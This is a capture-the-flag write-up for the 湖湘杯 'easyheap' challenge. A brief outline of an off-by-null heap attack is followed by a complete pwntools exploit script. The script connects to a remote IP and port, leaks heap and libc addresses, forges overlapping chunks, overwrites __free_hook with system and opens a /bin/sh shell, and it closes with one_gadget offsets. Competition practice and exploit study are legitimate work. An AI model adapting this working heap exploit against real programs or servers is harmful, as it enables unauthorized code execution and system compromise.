湖湘杯easyheap writeup
- off-by-null
思路
- leak heap
- leak libc
- chunk overlap (fake unlink)
- edit any where
- system("/bin/sh")
#coding:utf-8
from pwn import *
import argparse
# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'
context.terminal = ['tmux', 'splitw', '-h']
IP = '47.111.96.55'
PORT = '54303'
binary = './babyheap'
io = None
parser = argparse.ArgumentParser()
parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x , y : io.sendafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)
def lg(s, addr):
print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))
if args.remote:
io = remote(IP, PORT)
libc = ELF("./libc.so.6" , checksec = False)
elf = ELF(binary , checksec = False)
elif args.local or args.debugger:
# env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
env = {}
io = process(binary, env=env)
elf = ELF(binary)
proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc-2.27.so']
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
parser.print_help()
exit()
def debug(msg=""):
pwnlib.gdb.attach(io,msg)
# raw_input()
def create():
sla(">>","1")
def show(idx):
sla(">>","2")
sla("?",str(idx))
def edit(idx , sz ,con):
sla(">>","3")
sla("?",str(idx))
sla(":",str(sz))
sla(":",con)
def delete(idx):
sla(">>","4")
sla("?",str(idx))
def exploit():
[create() for i in range(10)]
[delete(i) for i in range(9)] # 0 - 6 tache | 7 - 8 merge into 0x201
[create() for i in range(9)] # 0 - 6 tcache | 7 unsorted bin
show(0)
heap = u64(io.recvuntil(b"\x55")[-6:].ljust(8,b"\x00"))
lg('leak_heap' , heap)
heap_base = heap - 0x760
lg('heap_base' , heap - 0x760)
show(7)
leak = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
lg('leak', leak)
libc_base = leak - 0x3ebe90
lg('base', libc_base)
# edit(0 , 0xf7 , "aaa" )
[delete(i) for i in range(8)]
[create() for i in range(8)] # prev size
edit(0 , 0x20 , p64(heap_base + 0x950) + p64(heap_base + 0x950))
edit(7 , 0xf8 , p64(heap_base + 0x250) + p64(heap_base + 0x258))
[delete(i) for i in range(7)] # fill in tcache
delete(8)
[create() for i in range(8)]
create() # same pointer 7 - 8
# delete(9)
delete(7)
edit(8 , 0x10 , p64(libc_base + libc.symbols['__free_hook']))
create()
create() # idx 11
edit(11 , 0x10 , p64(libc_base + libc.symbols['system']))
edit(0 , 0x10 , b"/bin/sh\x00")
delete(0)
#
# debug()
io.interactive()
if __name__ == "__main__":
exploit()
"""
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""